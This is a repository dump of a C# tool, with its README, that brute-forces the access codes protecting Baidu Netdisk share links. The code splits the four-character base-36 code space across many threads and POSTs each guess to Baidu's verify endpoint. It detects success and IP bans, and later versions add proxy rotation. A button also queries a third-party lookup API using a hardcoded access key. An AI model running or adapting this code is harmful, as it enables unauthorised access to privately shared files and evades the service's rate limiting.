Repository: zgcwkj/TestBaiduPassword
Branch: master
Commit: ff62e799b37b
Files: 146
Total size: 867.4 KB
Directory structure:
gitextract_pct2qrpj/
├── .github/
│ └── FUNDING.yml
├── Application/
│ └── TestPassword.apk
├── README.md
├── TestPassword PRO V1.8.0.4/
│ ├── TestPassword/
│ │ ├── Hash.cs
│ │ ├── HttpTest.cs
│ │ ├── HttpThread.cs
│ │ ├── Main.Designer.cs
│ │ ├── Main.cs
│ │ ├── Main.resx
│ │ ├── Program.cs
│ │ ├── Properties/
│ │ │ ├── AssemblyInfo.cs
│ │ │ ├── Resources.Designer.cs
│ │ │ ├── Resources.resx
│ │ │ ├── Settings.Designer.cs
│ │ │ └── Settings.settings
│ │ ├── StaticClass.cs
│ │ └── TestPassword.csproj
│ └── TestPassword.sln
├── TestPassword V1.0.0.0/
│ ├── TestPassword/
│ │ ├── Access.cs
│ │ ├── GoFind.cs
│ │ ├── Hash.cs
│ │ ├── Main.Designer.cs
│ │ ├── Main.cs
│ │ ├── Main.resx
│ │ ├── Program.cs
│ │ ├── Properties/
│ │ │ ├── AssemblyInfo.cs
│ │ │ ├── Resources.Designer.cs
│ │ │ ├── Resources.resx
│ │ │ ├── Settings.Designer.cs
│ │ │ └── Settings.settings
│ │ ├── StaticClass.cs
│ │ └── TestPassword.csproj
│ └── TestPassword.sln
├── TestPassword V1.0.0.0 APK/
│ ├── .gitignore
│ ├── .idea/
│ │ ├── gradle.xml
│ │ ├── misc.xml
│ │ ├── modules.xml
│ │ └── runConfigurations.xml
│ ├── app/
│ │ ├── .gitignore
│ │ ├── build.gradle
│ │ ├── proguard-rules.pro
│ │ └── src/
│ │ ├── androidTest/
│ │ │ └── java/
│ │ │ └── com/
│ │ │ └── zgcwkj/
│ │ │ └── baidupantest/
│ │ │ └── testpassword/
│ │ │ └── ExampleInstrumentedTest.java
│ │ ├── main/
│ │ │ ├── AndroidManifest.xml
│ │ │ ├── java/
│ │ │ │ └── com/
│ │ │ │ └── zgcwkj/
│ │ │ │ └── baidupantest/
│ │ │ │ └── testpassword/
│ │ │ │ └── MainActivity.java
│ │ │ └── res/
│ │ │ ├── drawable/
│ │ │ │ └── ic_launcher_background.xml
│ │ │ ├── drawable-v24/
│ │ │ │ └── ic_launcher_foreground.xml
│ │ │ ├── layout/
│ │ │ │ └── activity_main.xml
│ │ │ ├── mipmap-anydpi-v26/
│ │ │ │ ├── ic_launcher.xml
│ │ │ │ └── ic_launcher_round.xml
│ │ │ └── values/
│ │ │ ├── colors.xml
│ │ │ ├── ic_launcher_background.xml
│ │ │ ├── strings.xml
│ │ │ └── styles.xml
│ │ └── test/
│ │ └── java/
│ │ └── com/
│ │ └── zgcwkj/
│ │ └── baidupantest/
│ │ └── testpassword/
│ │ └── ExampleUnitTest.java
│ ├── build.gradle
│ ├── gradle/
│ │ └── wrapper/
│ │ ├── gradle-wrapper.jar
│ │ └── gradle-wrapper.properties
│ ├── gradle.properties
│ ├── gradlew
│ ├── gradlew.bat
│ └── settings.gradle
├── TestPassword V1.8.0.4/
│ ├── TestPassword/
│ │ ├── Hash.cs
│ │ ├── HttpTest.cs
│ │ ├── HttpThread.cs
│ │ ├── Main.Designer.cs
│ │ ├── Main.cs
│ │ ├── Main.resx
│ │ ├── Program.cs
│ │ ├── Properties/
│ │ │ ├── AssemblyInfo.cs
│ │ │ ├── Resources.Designer.cs
│ │ │ ├── Resources.resx
│ │ │ ├── Settings.Designer.cs
│ │ │ └── Settings.settings
│ │ ├── StaticClass.cs
│ │ └── TestPassword.csproj
│ └── TestPassword.sln
├── TestPassword V1.8.0.5/
│ ├── TestPassword/
│ │ ├── Hash.cs
│ │ ├── HttpTest.cs
│ │ ├── HttpThread.cs
│ │ ├── Main.Designer.cs
│ │ ├── Main.cs
│ │ ├── Main.resx
│ │ ├── Program.cs
│ │ ├── Properties/
│ │ │ ├── AssemblyInfo.cs
│ │ │ ├── Resources.Designer.cs
│ │ │ ├── Resources.resx
│ │ │ ├── Settings.Designer.cs
│ │ │ └── Settings.settings
│ │ ├── StaticClass.cs
│ │ └── TestPassword.csproj
│ └── TestPassword.sln
├── TestPassword V1.8.0.6/
│ ├── TestPassword/
│ │ ├── Hash.cs
│ │ ├── HttpHelp.cs
│ │ ├── HttpProxy.cs
│ │ ├── HttpTest.cs
│ │ ├── HttpThread.cs
│ │ ├── Main.Designer.cs
│ │ ├── Main.cs
│ │ ├── Main.resx
│ │ ├── Program.cs
│ │ ├── Properties/
│ │ │ ├── AssemblyInfo.cs
│ │ │ ├── Resources.Designer.cs
│ │ │ ├── Resources.resx
│ │ │ ├── Settings.Designer.cs
│ │ │ └── Settings.settings
│ │ ├── StaticClass.cs
│ │ └── TestPassword.csproj
│ └── TestPassword.sln
├── TestPassword V1.8.1.0/
│ ├── TestPassword/
│ │ ├── Hash.cs
│ │ ├── HttpHelp.cs
│ │ ├── HttpProxy.cs
│ │ ├── HttpTest.cs
│ │ ├── HttpThread.cs
│ │ ├── Main.Designer.cs
│ │ ├── Main.cs
│ │ ├── Main.resx
│ │ ├── Program.cs
│ │ ├── Properties/
│ │ │ ├── AssemblyInfo.cs
│ │ │ ├── Resources.Designer.cs
│ │ │ ├── Resources.resx
│ │ │ ├── Settings.Designer.cs
│ │ │ └── Settings.settings
│ │ ├── Proxy.Designer.cs
│ │ ├── Proxy.cs
│ │ ├── Proxy.resx
│ │ ├── StaticClass.cs
│ │ └── TestPassword.csproj
│ └── TestPassword.sln
└── TestPassword V1.8.1.1/
├── TestPassword/
│ ├── Hash.cs
│ ├── HttpTest.cs
│ ├── HttpThread.cs
│ ├── Main.Designer.cs
│ ├── Main.cs
│ ├── Main.resx
│ ├── Program.cs
│ ├── Properties/
│ │ ├── AssemblyInfo.cs
│ │ ├── Resources.Designer.cs
│ │ ├── Resources.resx
│ │ ├── Settings.Designer.cs
│ │ └── Settings.settings
│ ├── Proxy.Designer.cs
│ ├── Proxy.cs
│ ├── Proxy.resx
│ ├── StaticClass.cs
│ └── TestPassword.csproj
└── TestPassword.sln
================================================
FILE CONTENTS
================================================
================================================
FILE: .github/FUNDING.yml
================================================
# These are supported funding model platforms
github: [zgcwkj, admin] # Replace with up to 4 GitHub Sponsors-enabled usernames e.g., [user1, user2]
patreon: # Replace with a single Patreon username
tidelift: # Replace with a single Tidelift platform-name/package-name e.g., npm/babel
community_bridge: # Replace with a single Community Bridge project-name e.g., cloud-foundry
liberapay: # Replace with a single Liberapay username
issuehunt: # Replace with a single IssueHunt username
otechie: # Replace with a single Otechie username
custom: http://blog.zgcwkj.top # Replace with up to 4 custom sponsorship URLs e.g., ['link1', 'link2']
================================================
FILE: README.md
================================================
# TestBaiduPassword
百度网盘分享文件密码测试器
关联帖子:https://www.52pojie.cn/thread-680681-1-1.html
```
PS:如果是要使用旧版的程序请下载源码进行编译,谢谢
```
## 更新历史:
1.8.1.1(2018-11-03)
>调整内部机制,避免使用起来导致占用内存过多的问题
>修改代理功能实现,调整代理为程序内部,也就是说不影响系统的网络
>修复多线程导致 代理块 出现严重的问题
>更正一个很严重的问题:多线程导致 密码精度 缺失一个的问题
>优化大部分代理逻辑问题(具体实测)
1.8.1.0(2018-10-17)
>修复 1806 版的代理代码判断错误问题
>删除启动时判断网络代码块
>优化代理文件生成的方法(具体实测)
>优化代理的代码逻辑问题
1.8.0.6(2018-06-14)
>增加代理服务人口(测试阶段) ==》kTWO 提供技术支持
>优化逻辑代码,整理代码等
1.8.0.5(2018-05-29)
>优化判断等逻辑问题,增加安卓端APP
1.8.0.4 PRO(2018-04-13)
>增加调用API,尝试直接获取密码
1.8.0.4(2018-04-12)
>更新了线程可停止功能
>支持恢复上一次检索链接的数据
>等。。。。。
1.0.0.0(0000-00-00)
>基本的功能搭建 ==》Matrix 提供技术支持
>其它忘记了
根据 https://www.52pojie.cn/thread-629100-1-1.html 进行优化
## 功能特色:
在原本的基础上添加对链接的兼容。格式如下面:
http://pan.baidu.com/share/init?surl=xxx
https://pan.baidu.com/share/init?surl=xxx
http://pan.baidu.com/s/1xxx
https://pan.baidu.com/s/1xxx
## 一些笔记:
```
程序的多线程坑:
线程和任务是 N 对 1 ,存在重复调用问题导致方法块的冲突,以我的现在的技术是实现不了太难调
线程和任务是 N 对 N ,不存在重复调用问题也就不会导致方法块的冲突,这种实现相对简单
```
## 转载声明:
本程序可以通过任何方式进行转载,但请务必保留开源的地址以便我能够及时发现 BUG 以及使用者在使用过程中出现了 BUG 也能够很好的进行反馈
## 项目贡献者:
zgcwkj 博客:http://blog.zgcwkj.cn
Matrix 博客:http://www.imwxz.com
kTWO 博客:http://www.k2zone.cn
## 本源码仅提供参考,如因本代码导致出现的任何问题和所有开发者无关
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Hash.cs
================================================
using System;
using System.Linq;
using System.Text;
using System.Collections.Generic;
namespace zgcwkj
{
public static class Hash
{
//哈希类 36进制
//有效哈希[10000000,11679615]
#region 只支持4位 By MXWXZ
public static string HashTo4Str(int hash)
{
string ret = "";
hash -= 10000000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 3) ret += "0";//前导零
if (ret.Length == 2) ret += "00";
if (ret.Length == 1) ret += "000";
if (ret.Length == 0) ret += "0000";
return reverse(ret);
}
public static int StrTo4Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 46656;
ret += Char2Hash(str[1]) * 1296;
ret += Char2Hash(str[2]) * 36;
ret += Char2Hash(str[3]);
ret += 10000000;//防止前导零
return ret;
}
#endregion
#region 只支持6位 By zgcwkj
public static string HashTo6Str(int hash)
{
string ret = "";
hash -= 100000;
while (hash > 0)
{
ret += Hash2Char(hash % 36);
hash /= 36;
}
if (ret.Length == 5) ret += "0";//前导零
if (ret.Length == 4) ret += "00";
if (ret.Length == 3) ret += "000";
if (ret.Length == 2) ret += "0000";
if (ret.Length == 1) ret += "00000";
if (ret.Length == 0) ret += "000000";
return reverse(ret);
}
public static int StrTo6Hash(string str)
{
int ret = 0;
ret += Char2Hash(str[0]) * 60466176;
ret += Char2Hash(str[1]) * 1679616;
ret += Char2Hash(str[2]) * 46656;
ret += Char2Hash(str[3]) * 1296;
ret += Char2Hash(str[4]) * 36;
ret += Char2Hash(str[5]);
ret += 100000;//防止前导零
return ret;
}
#endregion
private static int Char2Hash(char c)
{
if (c >= '0' && c <= '9') return c - '0';
else return c - 'a' + 10;
}
private static char Hash2Char(int hash)
{
if (hash >= 0 && hash <= 9) return (char)('0' + hash);
else return (char)('a' + hash - 10);
}
private static string reverse(string str)
{
char[] arr = str.ToCharArray();
Array.Reverse(arr);
return new string(arr);
}
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/HttpTest.cs
================================================
using System;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
namespace zgcwkj
{
///
/// Http测试类(百度网盘分享连接密码测试)
///
public class HttpTest
{
string info = "";//唯一识别文件的值
///
/// 实例测试类
///
/// 访问的链接
public HttpTest(string url)
{
info = "surl=" + url.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
}
///
/// 访问网页
///
///
public string Get()
{
return HttpGet("https://pan.baidu.com/share/init?" + info);
}
///
/// 提交密码
///
/// 密码
///
public string Post(string pwd)
{
DateTime time = DateTime.Now;
DateTime startTime = TimeZone.CurrentTimeZone.ToLocalTime(new DateTime(1970, 1, 1, 0, 0, 0, 0));
string ts = ((time.Ticks - startTime.Ticks) / 10000).ToString();
string url = "https://pan.baidu.com/share/verify?" + info + "&t=" + ts.ToString() + "&bdstoken=null&channel=chunlei&clienttype=0&web=1&app_id=123456&logid=MTUwMTEyNDM2OTY5MzAuOTE5NTU5NjQwMTk0NDM0OA==";
string data = "pwd=" + pwd + "&vcode=&vcode_str=";
return HttpPost(url, data);
}
#region 网络请求
CookieContainer cookie = new CookieContainer();
#region Get请求
///
/// 请求路径
///
/// 请求的路径
/// 返回请求的网页数据
private string HttpGet(string Url)
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.Method = "GET";
request.ContentType = "text/html;charset=UTF-8";
request.CookieContainer = cookie;
try
{
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception e)
{
return e.Message;
}
}
#endregion
#region Post请求
///
/// 提交数据
///
/// 提交的路径
/// 提交的数据
/// 返回结果
private string HttpPost(string Url, string Data)
{
try
{
HttpWebRequest request = (HttpWebRequest)WebRequest.Create(Url);
request.ContentType = "application/x-www-form-urlencoded;charset=UTF-8";
request.Referer = "https://pan.baidu.com/share/init?" + info;
request.ContentLength = Encoding.UTF8.GetByteCount(Data);
request.CookieContainer = cookie;
request.Method = "POST";
Stream myRequestStream = request.GetRequestStream();
byte[] postBytes = Encoding.UTF8.GetBytes(Data);
myRequestStream.Write(postBytes, 0, postBytes.Length);
HttpWebResponse response = (HttpWebResponse)request.GetResponse();
response.Cookies = cookie.GetCookies(response.ResponseUri);
StreamReader myStreamReader = new StreamReader(response.GetResponseStream(), Encoding.UTF8);
string retString = myStreamReader.ReadToEnd();
myStreamReader.Close();
return retString;
}
catch (Exception ex)
{
return ex.Message;
}
}
#endregion
#endregion
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/HttpThread.cs
================================================
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.IO;
using System.Timers;
namespace zgcwkj
{
public class HttpThread
{
Main myMain;//主窗体
int StartValue = 0;//基值
int NumberValue = 0;//剩余次数
Timer timer;//线程
string ThreadID;//线程ID
///
/// http请求线程类
///
/// 主窗体
/// 线程名称
/// 开始值
/// 结束值
/// 线程速度
public HttpThread(Main main, string name, int start, int number, int interval)
{
myMain = main;
StartValue = start;
NumberValue = number;
ThreadID = StaticClass.file + "/" + name;
timer = new Timer(interval);
}
///
/// 启动线程
///
///
public HttpThread Start()
{
#region 载入历史参数
try
{
if (File.Exists(ThreadID + ".ini"))
{
string _start = File.ReadAllText(ThreadID + ".ini");
if (_start != "") StartValue = Convert.ToInt32(_start);
}
}
catch { }
#endregion
timer.Elapsed += new ElapsedEventHandler(_Timer);
timer.Start();
return this;
}
private void _Timer(object sender, ElapsedEventArgs e)
{
Timer timer = sender as Timer;
if (NumberValue < StartValue || StaticClass.status)
{
#region 保存历史参数
try
{
File.Delete(ThreadID + ".ini");
File.AppendAllText(ThreadID + ".ini", StartValue.ToString());
}
catch { }
#endregion
timer.Stop();
}
else
{
string password = Hash.HashTo4Str(StartValue);
HttpTest httptest = new HttpTest(StaticClass.url);
myMain.ModifyStr(httptest.Post(password), password);
StartValue = StartValue + 1;
}
}
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Main.Designer.cs
================================================
namespace zgcwkj
{
partial class Main
{
///
/// 必需的设计器变量。
///
private System.ComponentModel.IContainer components = null;
///
/// 清理所有正在使用的资源。
///
/// 如果应释放托管资源,为 true;否则为 false。
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows 窗体设计器生成的代码
///
/// 设计器支持所需的方法 - 不要修改
/// 使用代码编辑器修改此方法的内容。
///
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(Main));
this.txt_url = new System.Windows.Forms.Label();
this.text_url = new System.Windows.Forms.TextBox();
this.gb_1 = new System.Windows.Forms.GroupBox();
this.text_zxsd = new System.Windows.Forms.TextBox();
this.text_xczs = new System.Windows.Forms.TextBox();
this.text_jsd = new System.Windows.Forms.TextBox();
this.text_ksd = new System.Windows.Forms.TextBox();
this.txt_zxsd = new System.Windows.Forms.Label();
this.txt_xczs = new System.Windows.Forms.Label();
this.txt_jsd = new System.Windows.Forms.Label();
this.txt_ksd = new System.Windows.Forms.Label();
this.txt_ts = new System.Windows.Forms.Label();
this.btn_start = new System.Windows.Forms.Button();
this.fBD = new System.Windows.Forms.FolderBrowserDialog();
this.btn_status = new System.Windows.Forms.Button();
this.btn_net = new System.Windows.Forms.Button();
this.gb_1.SuspendLayout();
this.SuspendLayout();
//
// txt_url
//
this.txt_url.AutoSize = true;
this.txt_url.Location = new System.Drawing.Point(12, 15);
this.txt_url.Name = "txt_url";
this.txt_url.Size = new System.Drawing.Size(65, 12);
this.txt_url.TabIndex = 0;
this.txt_url.Text = "目标地址:";
//
// text_url
//
this.text_url.Location = new System.Drawing.Point(83, 11);
this.text_url.Name = "text_url";
this.text_url.Size = new System.Drawing.Size(389, 21);
this.text_url.TabIndex = 1;
//
// gb_1
//
this.gb_1.Controls.Add(this.text_zxsd);
this.gb_1.Controls.Add(this.text_xczs);
this.gb_1.Controls.Add(this.text_jsd);
this.gb_1.Controls.Add(this.text_ksd);
this.gb_1.Controls.Add(this.txt_zxsd);
this.gb_1.Controls.Add(this.txt_xczs);
this.gb_1.Controls.Add(this.txt_jsd);
this.gb_1.Controls.Add(this.txt_ksd);
this.gb_1.Location = new System.Drawing.Point(12, 38);
this.gb_1.Name = "gb_1";
this.gb_1.Size = new System.Drawing.Size(460, 73);
this.gb_1.TabIndex = 2;
this.gb_1.TabStop = false;
this.gb_1.Text = "相关配置";
//
// text_zxsd
//
this.text_zxsd.Location = new System.Drawing.Point(321, 17);
this.text_zxsd.MaxLength = 4;
this.text_zxsd.Name = "text_zxsd";
this.text_zxsd.Size = new System.Drawing.Size(131, 21);
this.text_zxsd.TabIndex = 5;
this.text_zxsd.Text = "200";
this.text_zxsd.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_xczs
//
this.text_xczs.Location = new System.Drawing.Point(93, 17);
this.text_xczs.MaxLength = 5;
this.text_xczs.Name = "text_xczs";
this.text_xczs.Size = new System.Drawing.Size(131, 21);
this.text_xczs.TabIndex = 4;
this.text_xczs.Text = "100";
this.text_xczs.KeyPress += new System.Windows.Forms.KeyPressEventHandler(this._KeyPress);
//
// text_jsd
//
this.text_jsd.Location = new System.Drawing.Point(321, 43);
this.text_jsd.MaxLength = 4;
this.text_jsd.Name = "text_jsd";
this.text_jsd.Size = new System.Drawing.Size(131, 21);
this.text_jsd.TabIndex = 7;
this.text_jsd.Text = "zzzz";
//
// text_ksd
//
this.text_ksd.Location = new System.Drawing.Point(93, 43);
this.text_ksd.MaxLength = 4;
this.text_ksd.Name = "text_ksd";
this.text_ksd.Size = new System.Drawing.Size(131, 21);
this.text_ksd.TabIndex = 6;
this.text_ksd.Text = "0000";
//
// txt_zxsd
//
this.txt_zxsd.AutoSize = true;
this.txt_zxsd.Location = new System.Drawing.Point(232, 20);
this.txt_zxsd.Name = "txt_zxsd";
this.txt_zxsd.Size = new System.Drawing.Size(89, 12);
this.txt_zxsd.TabIndex = 1;
this.txt_zxsd.Text = "线程执行速度:";
//
// txt_xczs
//
this.txt_xczs.AutoSize = true;
this.txt_xczs.Location = new System.Drawing.Point(10, 20);
this.txt_xczs.Name = "txt_xczs";
this.txt_xczs.Size = new System.Drawing.Size(65, 12);
this.txt_xczs.TabIndex = 0;
this.txt_xczs.Text = "线程总数:";
//
// txt_jsd
//
this.txt_jsd.AutoSize = true;
this.txt_jsd.Location = new System.Drawing.Point(232, 46);
this.txt_jsd.Name = "txt_jsd";
this.txt_jsd.Size = new System.Drawing.Size(77, 12);
this.txt_jsd.TabIndex = 3;
this.txt_jsd.Text = "密码结束点:";
//
// txt_ksd
//
this.txt_ksd.AutoSize = true;
this.txt_ksd.Location = new System.Drawing.Point(10, 46);
this.txt_ksd.Name = "txt_ksd";
this.txt_ksd.Size = new System.Drawing.Size(77, 12);
this.txt_ksd.TabIndex = 2;
this.txt_ksd.Text = "密码开始点:";
//
// txt_ts
//
this.txt_ts.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.txt_ts.ForeColor = System.Drawing.Color.Red;
this.txt_ts.Location = new System.Drawing.Point(12, 163);
this.txt_ts.Name = "txt_ts";
this.txt_ts.Size = new System.Drawing.Size(460, 69);
this.txt_ts.TabIndex = 5;
this.txt_ts.Text = "程序:百度网盘分享文件密码分析器 V 1.8.0.4 PRO\r\n\r\n作者:zgcwkj 20180413 更新 (请您著明本程序的出处,谢谢)\r\n\r\n说明:本程序" +
"完全免费,来自 52pojie 的 MXWXZ 提供整体的框架\r\n\r\n开源地址:https://github.com/zgcwkj/TestBaiduPassw" +
"ord";
this.txt_ts.Click += new System.EventHandler(this.txt_ts_Click);
//
// btn_start
//
this.btn_start.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_start.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_start.Location = new System.Drawing.Point(12, 114);
this.btn_start.Name = "btn_start";
this.btn_start.Size = new System.Drawing.Size(234, 44);
this.btn_start.TabIndex = 4;
this.btn_start.Text = "打开/生成 解决方案";
this.btn_start.UseVisualStyleBackColor = true;
this.btn_start.Click += new System.EventHandler(this.btn_start_Click);
//
// btn_status
//
this.btn_status.Enabled = false;
this.btn_status.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_status.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(192)))), ((int)(((byte)(0)))), ((int)(((byte)(192)))));
this.btn_status.Location = new System.Drawing.Point(252, 114);
this.btn_status.Name = "btn_status";
this.btn_status.Size = new System.Drawing.Size(94, 44);
this.btn_status.TabIndex = 6;
this.btn_status.Text = "启动";
this.btn_status.UseVisualStyleBackColor = true;
this.btn_status.Click += new System.EventHandler(this.btn_status_Click);
//
// btn_net
//
this.btn_net.Font = new System.Drawing.Font("宋体", 14F, System.Drawing.FontStyle.Bold);
this.btn_net.ForeColor = System.Drawing.Color.FromArgb(((int)(((byte)(255)))), ((int)(((byte)(128)))), ((int)(((byte)(0)))));
this.btn_net.Location = new System.Drawing.Point(364, 114);
this.btn_net.Name = "btn_net";
this.btn_net.Size = new System.Drawing.Size(108, 44);
this.btn_net.TabIndex = 6;
this.btn_net.Text = "联网查密";
this.btn_net.UseVisualStyleBackColor = true;
this.btn_net.Click += new System.EventHandler(this.btn_net_Click);
//
// Main
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(484, 241);
this.Controls.Add(this.btn_net);
this.Controls.Add(this.btn_status);
this.Controls.Add(this.txt_ts);
this.Controls.Add(this.gb_1);
this.Controls.Add(this.text_url);
this.Controls.Add(this.txt_url);
this.Controls.Add(this.btn_start);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MaximumSize = new System.Drawing.Size(500, 300);
this.MinimizeBox = false;
this.MinimumSize = new System.Drawing.Size(500, 280);
this.Name = "Main";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterScreen;
this.Text = "百度网盘分享文件密码分析器";
this.gb_1.ResumeLayout(false);
this.gb_1.PerformLayout();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.Label txt_url;
private System.Windows.Forms.TextBox text_url;
private System.Windows.Forms.GroupBox gb_1;
private System.Windows.Forms.Label txt_ksd;
private System.Windows.Forms.Label txt_jsd;
private System.Windows.Forms.TextBox text_jsd;
private System.Windows.Forms.TextBox text_ksd;
private System.Windows.Forms.TextBox text_zxsd;
private System.Windows.Forms.TextBox text_xczs;
private System.Windows.Forms.Label txt_zxsd;
private System.Windows.Forms.Label txt_xczs;
private System.Windows.Forms.Label txt_ts;
private System.Windows.Forms.Button btn_start;
private System.Windows.Forms.FolderBrowserDialog fBD;
private System.Windows.Forms.Button btn_status;
private System.Windows.Forms.Button btn_net;
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Main.cs
================================================
using System;
using System.IO;
using System.Net;
using System.Text;
using System.Text.RegularExpressions;
using System.Timers;
using System.Windows.Forms;
namespace zgcwkj
{
public partial class Main : Form
{
public Main()
{
InitializeComponent();
}
///
/// 解决方案
///
private void btn_start_Click(object sender, EventArgs e)
{
if (fBD.ShowDialog() == DialogResult.OK)
{
//MessageBox.Show(fBD.SelectedPath);
#region 生成配置文件
StaticClass.file = fBD.SelectedPath;
string Configuration;
try
{
Configuration = File.ReadAllText(StaticClass.file + "/Configuration.ini");
string[] str = Configuration.Split('∆');
text_url.Text = str[0];
text_xczs.Text = str[1];
text_zxsd.Text = str[2];
}
catch
{
Configuration = text_url.Text + "∆" + text_xczs.Text + "∆" + text_zxsd.Text;
File.Delete(StaticClass.file + "/Configuration.ini");
File.AppendAllText(StaticClass.file + "/Configuration.ini", Configuration);
}
StaticClass.url = text_url.Text;
StaticClass.status = false;
#endregion
btn_status.Enabled = true;
}
}
///
/// 启动或停止
///
private void btn_status_Click(object sender, EventArgs e)
{
#region 防止空文本也执行
if (text_url.Text == "") { MessageBox.Show("连接呢?"); return; }
if (text_xczs.Text == "") { MessageBox.Show("线程总数错误"); return; }
if (text_zxsd.Text == "") { MessageBox.Show("线程执行速度错误"); return; }
if (text_ksd.Text.Length != 4) { MessageBox.Show("密码开始点错误"); return; }
if (text_jsd.Text.Length != 4) { MessageBox.Show("密码结束点错误"); return; }
#endregion
if (btn_status.Text == "停止")
{
btn_status.Text = "启动";
btn_status.Enabled = false;
StaticClass.status = true;
}
else
{
btn_status.Text = "停止";
#region 基本的线程
int xczs = Convert.ToInt32(text_xczs.Text);//线程总数
int zxsd = Convert.ToInt32(text_zxsd.Text);//线程速度
int start = Hash.StrTo4Hash(text_ksd.Text);//起始值
int end = Hash.StrTo4Hash(text_jsd.Text);//结束值
int total = end - start + 1;//尝试的总数
int section = total / xczs;//线程的次数
#endregion
#region 创建线程
for (int i = 1; i <= xczs; i++)
{
int _start = start + section * (i - 1);//一条线程的开始值
int _end = start + section * i;//一条线程的结束值
new HttpThread(this, i.ToString(), _start, _end, zxsd).Start();
}
#endregion
}
}
///
/// 联网查密(用到互联网搜索功能)
///
private void btn_net_Click(object sender, EventArgs e)
{
if (text_url.Text.Trim() == "") { MessageBox.Show("请输入链接"); return; }
MessageBox.Show("本服务由 云盘万能钥匙(www.ypsuperkey.com)提供,本人仅是使用提供的接口");
string info = text_url.Text.Replace("https", "").Replace("http", "").Replace("://pan.baidu.com/", "").Replace("share/init?surl=", "").Replace("s/1", "");
string url = "https://www.ypsuperkey.com/api/items/BDY-" + info + "?access_key=4fxNbkKKJX2pAm3b8AEu2zT5d2MbqGbD&client_version=zg";
string data = StaticClass.HttpGet(url);//请求并获得返回数据
data = "密码为" + Regex.Match(data, "\"access_code\":\".+?\"").Value.ToString().Replace("\"", "").Replace("access_code:", "");
if (data == "密码为") data = "还是老老实实暴密码吧";
MessageBox.Show(data, "提示");
}
///
/// 链接跳转
///
private void txt_ts_Click(object sender, EventArgs e)
{
try { System.Diagnostics.Process.Start("https://github.com/zgcwkj/TestBaiduPassword"); } catch { }
try { System.Diagnostics.Process.Start("http://blog.zgcwkj.top"); } catch { }
}
#region 委托进行显示数据
delegate void Modifystr(string str1, string str2);
public void ModifyStr(string str1, string str2)
{
if (InvokeRequired)
{
Modifystr stcb = new Modifystr(ModifyStr);
Invoke(stcb, new object[] { str1, str2 });
}
else
{
txt_ts.Text = str1 + "》正在尝试:" + str2;//显示点啥
File.AppendAllText(StaticClass.file + "/logs.ini", txt_ts.Text + "\r\n");//输出日志
if (str1.Contains("\"errno\":0"))//密码正常
{
StaticClass.status = true;
MessageBox.Show("密码是:" + str2);
}
else if (str1.Contains("\"errno\":-9"))//密码错误
{
}
else if (str1.Contains("\"errno\":-62"))//要输入验证码
{
}
else if (str1.Contains("404"))//拒绝访问
{
StaticClass.status = true;
MessageBox.Show("你的IP被拒绝访问,请稍后重试");
}
else { }//未知错误
}
}
#endregion
///
/// 限制输入
///
private void _KeyPress(object sender, KeyPressEventArgs e)
{
if ((Keys)e.KeyChar >= Keys.D0 && (Keys)e.KeyChar <= Keys.D9 || (Keys)e.KeyChar == Keys.Back) { } else e.Handled = true;
}
}
}
================================================
FILE: TestPassword PRO V1.8.0.4/TestPassword/Main.resx
================================================
text/microsoft-resx
2.0
System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089
17, 17
33
AAABAAEAAAAAAAEAIADXfQAAFgAAAIlQTkcNChoKAAAADUlIRFIAAAEAAAABAAgGAAAAXHKoZgAAAAlw
SFlzAAALEwAACxMBAJqcGAAAOe5pVFh0WE1MOmNvbS5hZG9iZS54bXAAAAAAADw/eHBhY2tldCBiZWdp
bj0i77u/IiBpZD0iVzVNME1wQ2VoaUh6cmVTek5UY3prYzlkIj8+Cjx4OnhtcG1ldGEgeG1sbnM6eD0i
YWRvYmU6bnM6bWV0YS8iIHg6eG1wdGs9IkFkb2JlIFhNUCBDb3JlIDUuNi1jMTM4IDc5LjE1OTgyNCwg
MjAxNi8wOS8xNC0wMTowOTowMSAgICAgICAgIj4KICAgPHJkZjpSREYgeG1sbnM6cmRmPSJodHRwOi8v
d3d3LnczLm9yZy8xOTk5LzAyLzIyLXJkZi1zeW50YXgtbnMjIj4KICAgICAgPHJkZjpEZXNjcmlwdGlv
